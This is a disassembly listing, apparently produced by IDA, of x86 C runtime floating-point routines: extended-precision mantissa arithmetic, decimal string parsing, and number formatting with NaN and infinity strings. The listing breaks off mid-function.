		inc	dword ptr [esi+8]


loc_4161E9:				; CODE XREF: sub_4161B7+19j
					; sub_4161B7+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_416196
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416201
		inc	dword ptr [esi+8]


loc_416201:				; CODE XREF: sub_4161B7+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_416196
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_4161B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416215	proc near		; CODE XREF: sub_416270+30p
					; sub_416270+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_416215	endp


; =============== S U B	R O U T	I N E =======================================



sub_416243	proc near		; CODE XREF: sub_416808+1C8p
					; sub_416DD0+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_416243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416270	proc near		; CODE XREF: sub_416337+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_4162E4
		push	edi
		mov	[ebp+arg_8], eax


loc_416297:				; CODE XREF: sub_416270+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_416215
		push	ebx
		call	sub_416215
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4161B7
		push	ebx
		call	sub_416215
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4161B7
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_416297
		xor	edx, edx
		pop	edi


loc_4162E4:				; CODE XREF: sub_416270+21j
					; sub_416270+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_416311
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_4162E4
; ---------------------------------------------------------------------------


loc_416311:				; CODE XREF: sub_416270+77j
		mov	esi, 8000h


loc_416316:				; CODE XREF: sub_416270+B9j
		test	[ebx+8], esi
		jnz	short loc_41632B
		push	ebx
		call	sub_416215
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_416316
; ---------------------------------------------------------------------------


loc_41632B:				; CODE XREF: sub_416270+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_416270	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416337	proc near		; CODE XREF: sub_415188+17p
					; sub_4151B5+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_416372:				; CODE XREF: sub_416337+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_416388
		cmp	cl, 9
		jz	short loc_416388
		cmp	cl, 0Ah
		jz	short loc_416388
		cmp	cl, 0Dh
		jnz	short loc_41638B


loc_416388:				; CODE XREF: sub_416337+40j
					; sub_416337+45j ...
		inc	edi
		jmp	short loc_416372
; ---------------------------------------------------------------------------


loc_41638B:				; CODE XREF: sub_416337+4Fj
		push	4
		pop	esi


loc_41638E:				; CODE XREF: sub_416337+AEj
					; sub_416337+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_416611	; default
					; jumptable 0041639A case 10
		jmp	off_4167D8[eax*4] ; switch jump


loc_4163A1:				; DATA XREF: .nsp0:off_4167D8o
		cmp	bl, 31h		; jumptable 0041639A case 0
		jl	short loc_4163B2
		cmp	bl, 39h
		jg	short loc_4163B2


loc_4163AB:				; CODE XREF: sub_416337+C4j
					; sub_416337+118j
		push	3
		jmp	loc_4165CF
; ---------------------------------------------------------------------------


loc_4163B2:				; CODE XREF: sub_416337+6Dj
					; sub_416337+72j
		cmp	bl, byte_422008
		jnz	short loc_4163C1


loc_4163BA:				; CODE XREF: sub_416337+124j
		push	5
		jmp	loc_416607
; ---------------------------------------------------------------------------


loc_4163C1:				; CODE XREF: sub_416337+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4163E7
		dec	eax
		dec	eax
		jz	short loc_4163DB
		sub	eax, 3
		jnz	loc_4166AA
		jmp	loc_41646A
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: sub_416337+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41638E
; ---------------------------------------------------------------------------


loc_4163E7:				; CODE XREF: sub_416337+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41638E
; ---------------------------------------------------------------------------


loc_4163F0:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	bl, 31h		; jumptable 0041639A case 1
		mov	[ebp+var_10], edx
		jl	short loc_4163FD
		cmp	bl, 39h
		jle	short loc_4163AB


loc_4163FD:				; CODE XREF: sub_416337+BFj
		cmp	bl, byte_422008
		jz	loc_4164C5
		cmp	bl, 2Bh
		jz	short loc_41643F
		cmp	bl, 2Dh
		jz	short loc_41643F
		cmp	bl, 30h
		jz	short loc_41646A


loc_416418:				; CODE XREF: sub_416337+207j
		cmp	bl, 43h
		jle	loc_4166AA
		cmp	bl, 45h
		jle	short loc_416438
		cmp	bl, 63h
		jle	loc_4166AA
		cmp	bl, 65h
		jg	loc_4166AA


loc_416438:				; CODE XREF: sub_416337+EDj
		push	6
		jmp	loc_416607
; ---------------------------------------------------------------------------


loc_41643F:				; CODE XREF: sub_416337+D5j
					; sub_416337+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_416607
; ---------------------------------------------------------------------------


loc_416447:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	bl, 31h		; jumptable 0041639A case 2
		jl	short loc_416455
		cmp	bl, 39h
		jle	loc_4163AB


loc_416455:				; CODE XREF: sub_416337+113j
		cmp	bl, byte_422008
		jz	loc_4163BA
		cmp	bl, 30h
		jnz	loc_41661F


loc_41646A:				; CODE XREF: sub_416337+9Fj
					; sub_416337+DFj
		mov	eax, edx
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_416471:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		mov	[ebp+var_10], edx ; jumptable 0041639A case 3


loc_416474:				; CODE XREF: sub_416337+184j
		cmp	dword_422004, edx
		jle	short loc_41648D
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41649B
; ---------------------------------------------------------------------------


loc_41648D:				; CODE XREF: sub_416337+143j
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41649B:				; CODE XREF: sub_416337+154j
		test	eax, eax
		jz	short loc_4164BD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4164B5
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_4164B8
; ---------------------------------------------------------------------------


loc_4164B5:				; CODE XREF: sub_416337+16Cj
		inc	[ebp+var_8]


loc_4164B8:				; CODE XREF: sub_416337+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_416474
; ---------------------------------------------------------------------------


loc_4164BD:				; CODE XREF: sub_416337+166j
		cmp	bl, byte_422008
		jnz	short loc_41652C


loc_4164C5:				; CODE XREF: sub_416337+CCj
		mov	eax, esi
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_4164CC:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	[ebp+var_4], 0	; jumptable 0041639A case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4164E5


loc_4164D8:				; CODE XREF: sub_416337+1ACj
		cmp	bl, 30h
		jnz	short loc_4164E5
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4164D8
; ---------------------------------------------------------------------------


loc_4164E5:				; CODE XREF: sub_416337+19Fj
					; sub_416337+1A4j ...
		cmp	dword_422004, edx
		jle	short loc_4164FE
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41650C
; ---------------------------------------------------------------------------


loc_4164FE:				; CODE XREF: sub_416337+1B4j
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41650C:				; CODE XREF: sub_416337+1C5j
		test	eax, eax
		jz	short loc_41652C
		cmp	[ebp+var_4], 19h
		jnb	short loc_416527
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_416527:				; CODE XREF: sub_416337+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4164E5
; ---------------------------------------------------------------------------


loc_41652C:				; CODE XREF: sub_416337+18Cj
					; sub_416337+1D7j
		cmp	bl, 2Bh
		jz	loc_41643F
		cmp	bl, 2Dh
		jz	loc_41643F
		jmp	loc_416418
; ---------------------------------------------------------------------------


loc_416543:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	dword_422004, edx ; jumptable 0041639A case 5
		mov	[ebp+var_24], edx
		jle	short loc_41655F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41656D
; ---------------------------------------------------------------------------


loc_41655F:				; CODE XREF: sub_416337+215j
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41656D:				; CODE XREF: sub_416337+226j
		test	eax, eax
		jz	loc_41661F
		mov	eax, esi
		jmp	short loc_4165D0
; ---------------------------------------------------------------------------


loc_416579:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		lea	ecx, [edi-2]	; jumptable 0041639A case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_416589
		cmp	bl, 39h
		jle	short loc_4165CD


loc_416589:				; CODE XREF: sub_416337+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_416605
		dec	eax
		dec	eax
		jz	short loc_4165F9
		sub	eax, 3
		jnz	loc_4166AD


loc_41659E:				; CODE XREF: sub_416337+2A4j
		push	8
		jmp	short loc_416607
; ---------------------------------------------------------------------------


loc_4165A2:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		mov	[ebp+var_20], edx ; jumptable 0041639A case 8


loc_4165A5:				; CODE XREF: sub_416337+276j
		cmp	bl, 30h
		jnz	short loc_4165AF
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4165A5
; ---------------------------------------------------------------------------


loc_4165AF:				; CODE XREF: sub_416337+271j
		cmp	bl, 31h
		jl	loc_4166AA
		cmp	bl, 39h
		jg	loc_4166AA
		jmp	short loc_4165CD
; ---------------------------------------------------------------------------


loc_4165C3:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	bl, 31h		; jumptable 0041639A case 7
		jl	short loc_4165D6
		cmp	bl, 39h
		jg	short loc_4165D6


loc_4165CD:				; CODE XREF: sub_416337+250j
					; sub_416337+28Aj
		push	9


loc_4165CF:				; CODE XREF: sub_416337+76j
		pop	eax


loc_4165D0:				; CODE XREF: sub_416337+240j
		dec	edi
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_4165D6:				; CODE XREF: sub_416337+28Fj
					; sub_416337+294j
		cmp	bl, 30h
		jnz	short loc_41661F
		jmp	short loc_41659E
; ---------------------------------------------------------------------------


loc_4165DD:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		cmp	[ebp+arg_18], 0	; jumptable 0041639A case 11
		jz	short loc_41660D
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_416605
		dec	eax
		dec	eax
		jnz	loc_4166AD


loc_4165F9:				; CODE XREF: sub_416337+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_416605:				; CODE XREF: sub_416337+258j
					; sub_416337+2B8j
		push	7


loc_416607:				; CODE XREF: sub_416337+85j
					; sub_416337+103j ...
		pop	eax
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_41660D:				; CODE XREF: sub_416337+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_416611:				; CODE XREF: sub_416337+5Dj
					; sub_416337+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041639A case 10
		jz	loc_4166AF
		jmp	loc_41638E
; ---------------------------------------------------------------------------


loc_41661F:				; CODE XREF: sub_416337+12Dj
					; sub_416337+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_4166AF
; ---------------------------------------------------------------------------


loc_416627:				; CODE XREF: sub_416337+63j
					; DATA XREF: .nsp0:off_4167D8o
		mov	[ebp+var_20], 1	; jumptable 0041639A case 9
		xor	esi, esi


loc_416630:				; CODE XREF: sub_416337+339j
		cmp	dword_422004, 1
		jle	short loc_416648
		movzx	eax, bl
		push	4
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_416657
; ---------------------------------------------------------------------------


loc_416648:				; CODE XREF: sub_416337+300j
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_416657:				; CODE XREF: sub_416337+30Fj
		test	eax, eax
		jz	short loc_416677
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_416672
		mov	bl, [edi]
		inc	edi
		jmp	short loc_416630
; ---------------------------------------------------------------------------


loc_416672:				; CODE XREF: sub_416337+334j
		mov	esi, 1451h


loc_416677:				; CODE XREF: sub_416337+322j
		mov	[ebp+var_1C], esi


loc_41667A:				; CODE XREF: sub_416337+371j
		cmp	dword_422004, 1
		jle	short loc_416692
		movzx	eax, bl
		push	4
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_4166A1
; ---------------------------------------------------------------------------


loc_416692:				; CODE XREF: sub_416337+34Aj
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4166A1:				; CODE XREF: sub_416337+359j
		test	eax, eax
		jz	short loc_4166AA
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41667A
; ---------------------------------------------------------------------------


loc_4166AA:				; CODE XREF: sub_416337+99j
					; sub_416337+E4j ...
		dec	edi
		jmp	short loc_4166AF
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_416337+261j
					; sub_416337+2BCj
		mov	edi, ecx


loc_4166AF:				; CODE XREF: sub_416337+2DDj
					; sub_416337+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_416797
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_4166DB
		cmp	[ebp+var_45], 5
		jl	short loc_4166CF
		inc	[ebp+var_45]


loc_4166CF:				; CODE XREF: sub_416337+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4166DE
; ---------------------------------------------------------------------------


loc_4166DB:				; CODE XREF: sub_416337+38Dj
		mov	eax, [ebp+var_C]


loc_4166DE:				; CODE XREF: sub_416337+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41678D


loc_4166E8:				; CODE XREF: sub_416337+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4166F6
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4166E8
; ---------------------------------------------------------------------------


loc_4166F6:				; CODE XREF: sub_416337+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_416270
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_416715
		neg	eax


loc_416715:				; CODE XREF: sub_416337+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_416720
		add	eax, [ebp+arg_10]


loc_416720:				; CODE XREF: sub_416337+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_416728
		sub	eax, [ebp+arg_14]


loc_416728:				; CODE XREF: sub_416337+3ECj
		cmp	eax, 1450h
		jle	short loc_41675F
		mov	[ebp+var_2C], 1


loc_416736:				; CODE XREF: sub_416337+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_416742:				; CODE XREF: sub_416337+454j
					; sub_416337+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_4167A8
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_4167BD
; ---------------------------------------------------------------------------


loc_41675F:				; CODE XREF: sub_416337+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41676F
		mov	[ebp+var_30], 1
		jmp	short loc_416736
; ---------------------------------------------------------------------------


loc_41676F:				; CODE XREF: sub_416337+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_416FF0
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_416742
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: sub_416337+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_416742
; ---------------------------------------------------------------------------


loc_416797:				; CODE XREF: sub_416337+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_4167BD
; ---------------------------------------------------------------------------


loc_4167A8:				; CODE XREF: sub_416337+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_4167BD
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_4167BD:				; CODE XREF: sub_416337+426j
					; sub_416337+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_416337	endp

; ---------------------------------------------------------------------------
off_4167D8	dd offset loc_4163A1	; DATA XREF: sub_416337+63r
		dd offset loc_4163F0	; jump table for switch	statement
		dd offset loc_416447
		dd offset loc_416471
		dd offset loc_4164CC
		dd offset loc_416543
		dd offset loc_416579
		dd offset loc_4165C3
		dd offset loc_4165A2
		dd offset loc_416627
		dd offset loc_416611
		dd offset loc_4165DD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416808	proc near		; CODE XREF: sub_415259+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41686A
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41686E
; ---------------------------------------------------------------------------


loc_41686A:				; CODE XREF: sub_416808+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41686E:				; CODE XREF: sub_416808+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_416894
		test	edi, edi
		jnz	short loc_416894
		cmp	[ebp+arg_0], edi
		jnz	short loc_416894


loc_41687F:				; CODE XREF: sub_416808+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_416A92
; ---------------------------------------------------------------------------


loc_416894:				; CODE XREF: sub_416808+6Cj
					; sub_416808+70j ...
		cmp	dx, si
		jnz	short loc_416913
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_4168AD
		cmp	[ebp+arg_0], 0
		jz	short loc_4168BC


loc_4168AD:				; CODE XREF: sub_416808+9Dj
		test	edi, 40000000h
		jnz	short loc_4168BC
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_416902
; ---------------------------------------------------------------------------


loc_4168BC:				; CODE XREF: sub_416808+A3j
					; sub_416808+ABj
		test	cx, cx
		jz	short loc_4168D6
		cmp	edi, 0C0000000h
		jnz	short loc_4168D6
		cmp	[ebp+arg_0], 0
		jnz	short loc_4168FD
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4168E5
; ---------------------------------------------------------------------------


loc_4168D6:				; CODE XREF: sub_416808+B7j
					; sub_416808+BFj
		cmp	edi, eax
		jnz	short loc_4168FD
		cmp	[ebp+arg_0], 0
		jnz	short loc_4168FD
		push	offset a1Inf	; "1#INF"


loc_4168E5:				; CODE XREF: sub_416808+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_40E3C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4168F4:				; CODE XREF: sub_416808+109j
		and	[ebp+var_4], 0
		jmp	loc_416A6B
; ---------------------------------------------------------------------------


loc_4168FD:				; CODE XREF: sub_416808+C5j
					; sub_416808+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_416902:				; CODE XREF: sub_416808+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_40E3C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4168F4
; ---------------------------------------------------------------------------


loc_416913:				; CODE XREF: sub_416808+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416FF0
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_416974
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416DD0
		pop	ecx
		pop	ecx


loc_416974:				; CODE XREF: sub_416808+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41698E
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_416991
		jmp	loc_41687F
; ---------------------------------------------------------------------------


loc_41698E:				; CODE XREF: sub_416808+173j
		mov	edi, [ebp+arg_C]


loc_416991:				; CODE XREF: sub_416808+17Fj
		cmp	edi, 15h
		jle	short loc_416999
		push	15h
		pop	edi


loc_416999:				; CODE XREF: sub_416808+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_4169AF:				; CODE XREF: sub_416808+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416215
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_4169AF
		test	esi, esi
		jge	short loc_4169D9
		neg	esi
		and	esi, 0FFh
		jle	short loc_4169D9


loc_4169CC:				; CODE XREF: sub_416808+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416243
		dec	esi
		pop	ecx
		jnz	short loc_4169CC


loc_4169D9:				; CODE XREF: sub_416808+1B8j
					; sub_416808+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_416A36
		mov	[ebp+arg_C], ecx


loc_4169E9:				; CODE XREF: sub_416808+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_416215
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416215
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4161B7
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416215
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4169E9
		mov	eax, [ebp+arg_14]


loc_416A36:				; CODE XREF: sub_416808+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_416A73


